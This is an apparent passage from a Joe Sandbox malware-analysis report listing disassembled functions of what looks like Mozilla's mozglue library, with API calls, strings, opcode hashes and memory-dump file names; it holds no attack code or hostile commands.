Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 7b6129d98eacd45a529c948f3b846d8964b7ae5b2fce609884b6830c87b89264
Instruction ID: 755b54d9c84d5c89c3df41f1166838b4269c45a10cee0e87f5eb5e165a536f4f
Opcode Fuzzy Hash: 7b6129d98eacd45a529c948f3b846d8964b7ae5b2fce609884b6830c87b89264
Instruction Fuzzy Hash: 97F02E7238039623E7302D670D0AF6A269D6BC2F6DF704135F615DEDC0DA90E41086AD

Function 6C675850 Relevance: 7.5, APIs: 5, Instructions: 41synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000000FF), ref: 6C67586C
CloseHandle.KERNEL32 ref: 6C675878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C675898
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C6758C9
free.MOZGLUE(00000000), ref: 6C6758D3

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: free$CloseHandleObjectSingleWait
String ID:
API String ID: 1910681409-0
Opcode ID: 0d5b8bc8c21c54cd1549dfdc1541cfb6a9857fabd00be096d4fb4d94683757b9
Instruction ID: eb7c87bca97f655b343c77be5f84328d4792887971c7c89e3738e14ffd440bb9
Opcode Fuzzy Hash: 0d5b8bc8c21c54cd1549dfdc1541cfb6a9857fabd00be096d4fb4d94683757b9
Instruction Fuzzy Hash: 9401AD71704213ABCF00DF1BD888B027BB8EBA3329F260576F01AC2210D73298109F9E

Function 6C667620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C6675C4,?), ref: 6C66762B

Part of subcall function 6C62CA10: malloc.MOZGLUE(?), ref: 6C62CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C6674D7,6C6715FC,?,?,?), ref: 6C667644
GetCurrentThreadId.KERNEL32 ref: 6C66765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C6674D7,6C6715FC,?,?,?), ref: 6C667663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C6674D7,6C6715FC,?,?,?), ref: 6C667677

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: f12688d61163997932252bf13cc5e7902bcfc75677fac07713933881d23bd1e6
Instruction ID: 9fb23d0a7f4bc5a005c1215f86954d2a2b2a697d77d161039be379f4c725ed80
Opcode Fuzzy Hash: f12688d61163997932252bf13cc5e7902bcfc75677fac07713933881d23bd1e6
Instruction Fuzzy Hash: 53F0AF71E10746ABE7008F22C888676B778FFEA699F114316F90553601E7B0A5D18BD4

Function 6C671700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C671800

Part of subcall function 6C64CBE8: GetCurrentProcess.KERNEL32(?,6C6131A7), ref: 6C64CBF1
Part of subcall function 6C64CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6131A7), ref: 6C64CBFA

Part of subcall function 6C614290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C653EBD,6C653EBD,00000000), ref: 6C6142A9

Strings

name, xrefs: 6C671939
{marker.name} - {marker.data.name}, xrefs: 6C6718C7
Details, xrefs: 6C671925

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: 5beea16397722ad01309fbfa8a841177a5e366cbe0037bcc9cceb98790974b05
Instruction ID: 8c12e2aec5e0d2ccb0f89116e70a97b95ee9f6ee8d1a29da2920ba3c53466264
Opcode Fuzzy Hash: 5beea16397722ad01309fbfa8a841177a5e366cbe0037bcc9cceb98790974b05
Instruction Fuzzy Hash: 587107B0A003069FCB04CF29D49479ABBB1FF46304F10466DD8194BB41DB70E699CBEA

Function 6C63D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C64CBE8: GetCurrentProcess.KERNEL32(?,6C6131A7), ref: 6C64CBF1
Part of subcall function 6C64CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6131A7), ref: 6C64CBFA

EnterCriticalSection.KERNEL32(6C69E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C64D1C5), ref: 6C63D4F2
LeaveCriticalSection.KERNEL32(6C69E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C64D1C5), ref: 6C63D50B

Part of subcall function 6C61CFE0: EnterCriticalSection.KERNEL32(6C69E784), ref: 6C61CFF6
Part of subcall function 6C61CFE0: LeaveCriticalSection.KERNEL32(6C69E784), ref: 6C61D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C64D1C5), ref: 6C63D52E
EnterCriticalSection.KERNEL32(6C69E7DC), ref: 6C63D690
LeaveCriticalSection.KERNEL32(6C69E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C64D1C5), ref: 6C63D751

Strings

MOZ_CRASH(), xrefs: 6C63D4BB

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: afdcec7461a94e1d0c35e60291940049f4eb3a6d42e592e03ce15ca020616433
Instruction ID: e72e440dbeb422350e8f76b9067ec7abdc0efd5800c831b9350d1e39d9196826
Opcode Fuzzy Hash: afdcec7461a94e1d0c35e60291940049f4eb3a6d42e592e03ce15ca020616433
Instruction Fuzzy Hash: D2510471A047128FD354CF29C09471AB7F1FB8A704F25992EE5AAC7B84D770E804CB9A

Function 6C664630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C664721

Strings

., xrefs: 6C66476A
profiler-paused, xrefs: 6C6646E4
-%llu, xrefs: 6C664733

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 6bc08be4a19aa1051094ac3e64c41148707aa9d4a89743fdb6373d05f9e56d80
Instruction ID: 3015e1cc75c30236da46e169c0d778a78ac23b4d0727a3f2fda07ca74f31349c
Opcode Fuzzy Hash: 6bc08be4a19aa1051094ac3e64c41148707aa9d4a89743fdb6373d05f9e56d80
Instruction Fuzzy Hash: D5416871A04708AFCB08DF7AD89116EBBF5EF86744F10863EE84597B41EB709844879A

Function 6C689830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C68985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C68987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6C6898DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6C6898D9

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: 60526288bc3f8bee080ace6979284735c69f440c3b36bfa4a4498f83b1a41c21
Instruction ID: a5acf4cc97f36de40d8b39172b752c8614c36249f3e1000354984679e8d72bf6
Opcode Fuzzy Hash: 60526288bc3f8bee080ace6979284735c69f440c3b36bfa4a4498f83b1a41c21
Instruction Fuzzy Hash: 01310571B001096BDB14AF59DC449EE77B9EF85718F50C42DEA0A9BB40CB315909CBED

Function 6C6646E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C664721

Part of subcall function 6C614410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C653EBD,00000017,?,00000000,?,6C653EBD,?,?,6C6142D2), ref: 6C614444

Strings

., xrefs: 6C66476A
profiler-paused, xrefs: 6C6646E4
-%llu, xrefs: 6C664733

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 2c0246c6b5f396c2a51e27d15775cb0f240bc70eeb040450b7ece86d2db1cb8f
Instruction ID: 92f9466df0acff8d60fd4d43499d06aa456838c7b871c0b34ee659e0ba252cc1
Opcode Fuzzy Hash: 2c0246c6b5f396c2a51e27d15775cb0f240bc70eeb040450b7ece86d2db1cb8f
Instruction Fuzzy Hash: 9A310971F042085FCB0CCF6ED8916ADBFE6DB89314F15853EE8059BB41EBB098048B99

Function 6C66B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C614290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C653EBD,6C653EBD,00000000), ref: 6C6142A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C66B127), ref: 6C66B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C66B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C66B4E4

Strings

pid:, xrefs: 6C66B4DE

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: b1cd0d1504868f80283dcf09e09ca6b545705502050f672a1db877aa7d11a70a
Instruction ID: 5dd748cc57223e5ae9be5c713b51544f81c53990ab0df32ed2d8575ac00da447
Opcode Fuzzy Hash: b1cd0d1504868f80283dcf09e09ca6b545705502050f672a1db877aa7d11a70a
Instruction Fuzzy Hash: 9F312731A01205DBDB00DFAAD880AEEB7B5FFC5308F540529E80167E41D732E845DBEA

Function 6C62BF00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6C677A3F), ref: 6C62BF11
?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6C677A3F), ref: 6C62BF5D
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6C677A3F), ref: 6C62BF7E

Strings

hl, xrefs: 6C62BF84

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@?init@?$basic_ios@D@std@@@2@_V?$basic_streambuf@
String ID: hl
API String ID: 4279176481-2103249864
Opcode ID: adf3c7e172adc1fdbcc7d6ecf7f1f2a0a52c1455446ff0dbe33a95410dd92cdc
Instruction ID: 944aafe4aa8aa844e77aa4de27e3089fece68d6e8d8a9ffcc22ca35490284da1
Opcode Fuzzy Hash: adf3c7e172adc1fdbcc7d6ecf7f1f2a0a52c1455446ff0dbe33a95410dd92cdc
Instruction Fuzzy Hash: 6C11C0B92016058FC729CF0CD599926FBF8FF5A308355885DE98A8B760C731E804CBA4

Function 6C65E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C65E577
AcquireSRWLockExclusive.KERNEL32(6C69F4B8), ref: 6C65E584
ReleaseSRWLockExclusive.KERNEL32(6C69F4B8), ref: 6C65E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C65E8A6

Strings

MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C65E826, 6C65E850
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C65E655
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C65E722, 6C65E750, 6C65E7A2
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C65E777
MOZ_PROFILER_STARTUP, xrefs: 6C65E5A1, 6C65E5CC, 6C65E5FF, 6C65E62A

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: fdf24ea497fd8ba50b1cc175afda171bc16ea4ebebd0d4814d0b450596e4c8b3
Instruction ID: e241bfce00868c2c3c6d903f57b45b9dce003e2216f867c19d054c8d9ccda7c2
Opcode Fuzzy Hash: fdf24ea497fd8ba50b1cc175afda171bc16ea4ebebd0d4814d0b450596e4c8b3
Instruction Fuzzy Hash: 7611CE31604246DFCB009F16C488B6DBBB8FFC9728F520519F85247651C774A815CB9E

Function 6C660C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C660CD5

Part of subcall function 6C64F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C64F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C660D40
free.MOZGLUE ref: 6C660DCB

Part of subcall function 6C635E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C635EDB
Part of subcall function 6C635E90: memset.VCRUNTIME140(ewgl,000000E5,?), ref: 6C635F27
Part of subcall function 6C635E90: LeaveCriticalSection.KERNEL32(?), ref: 6C635FB2

free.MOZGLUE ref: 6C660DDD
free.MOZGLUE ref: 6C660DF2

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 45be6613318a7b16f918f54bbcac06458c107be869e28ac8534dfc75285a169b
Instruction ID: 92437152b35cf8a5114a8ed4a42567604f15f581c1e1cdac2c548ceeb795a0e3
Opcode Fuzzy Hash: 45be6613318a7b16f918f54bbcac06458c107be869e28ac8534dfc75285a169b
Instruction Fuzzy Hash: F94117719097849BD720CF2AC08079AFBE5BFC9714F108A2EE8D887B50D7709445CB9B

Function 6C650800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C69E7DC), ref: 6C650838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C65084C
EnterCriticalSection.KERNEL32(?), ref: 6C6508AF
LeaveCriticalSection.KERNEL32(?), ref: 6C6508BD
LeaveCriticalSection.KERNEL32(6C69E7DC), ref: 6C6508D5

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: 46fbe71edbd22943dfec09140d9a3596b04291318563a472e37c4189051d7258
Instruction ID: 2b793255612a2879e091c27bb5b7f44406fedff0e163697a1a7f01dd55a9ecbf
Opcode Fuzzy Hash: 46fbe71edbd22943dfec09140d9a3596b04291318563a472e37c4189051d7258
Instruction Fuzzy Hash: AE21B031B0120A9BEF048F66D884BAE7379BF85708FA40529D509A7A40DB31E814CBDC

Function 6C66CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C65DA31,00100000,?,?,00000000,?), ref: 6C66CDA4

Part of subcall function 6C62CA10: malloc.MOZGLUE(?), ref: 6C62CA26

Part of subcall function 6C66D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C66CDBA,00100000,?,00000000,?,6C65DA31,00100000,?,?,00000000,?), ref: 6C66D158
Part of subcall function 6C66D130: InitializeConditionVariable.KERNEL32(00000098,?,6C66CDBA,00100000,?,00000000,?,6C65DA31,00100000,?,?,00000000,?), ref: 6C66D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C65DA31,00100000,?,?,00000000,?), ref: 6C66CDC4

Part of subcall function 6C667480: ReleaseSRWLockExclusive.KERNEL32(?,6C6715FC,?,?,?,?,6C6715FC,?), ref: 6C6674EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C65DA31,00100000,?,?,00000000,?), ref: 6C66CECC

Part of subcall function 6C62CA10: mozalloc_abort.MOZGLUE(?), ref: 6C62CAA2

Part of subcall function 6C65CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C66CEEA,?,?,?,?,00000000,?,6C65DA31,00100000,?,?,00000000), ref: 6C65CB57
Part of subcall function 6C65CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C65CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C66CEEA,?,?), ref: 6C65CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C65DA31,00100000,?,?,00000000,?), ref: 6C66D058

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: fcfaf8a7d17a4e6e38d2d56fbc0629fd874b13cd4f4b0071d521396c01f1c39d
Instruction ID: e7e2f45ffc6f547a62bf08d64d6fed8a1fa11a90ea11087718d82009b3b110b3
Opcode Fuzzy Hash: fcfaf8a7d17a4e6e38d2d56fbc0629fd874b13cd4f4b0071d521396c01f1c39d
Instruction Fuzzy Hash: FDD18071A04B069FD708CF29C480B99F7E1BF89308F11862DD95987712EB71E965CBC6

Function 6C621720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C6217B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C6218EE
free.MOZGLUE(?), ref: 6C621911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C62194C

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 58d01c8a8a8584ec8c69784b85e220c6159dde6ab41978fe945874c0d0e2f710
Instruction ID: ec271a425426958961fed675ca13310f0f5f73b34da3fea21f79fa2d9f1dfd46
Opcode Fuzzy Hash: 58d01c8a8a8584ec8c69784b85e220c6159dde6ab41978fe945874c0d0e2f710
Instruction Fuzzy Hash: DF819F70A192059FCB08CF68D8D49AEBBB1FF89314F04452CE851AB754D739EC45CBAA

Function 6C635C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C635D40
EnterCriticalSection.KERNEL32(6C69F688), ref: 6C635D67
__aulldiv.LIBCMT ref: 6C635DB4
LeaveCriticalSection.KERNEL32(6C69F688), ref: 6C635DED

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 3c41b4cff6adb684669dd8ec3679600bca95ddd7c299fcbe35845f1d7e0eff93
Instruction ID: 389d83493fd80a8742683ced4b8fbdb13f4e7ececa63e0dcf210ba56f60fe5be
Opcode Fuzzy Hash: 3c41b4cff6adb684669dd8ec3679600bca95ddd7c299fcbe35845f1d7e0eff93
Instruction Fuzzy Hash: E4516F71E0022A8FCF08CFA9C894AAEBBF1FB85314F1A961DD815A7750C7306945CB99

Function 6C61CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C61CEBD
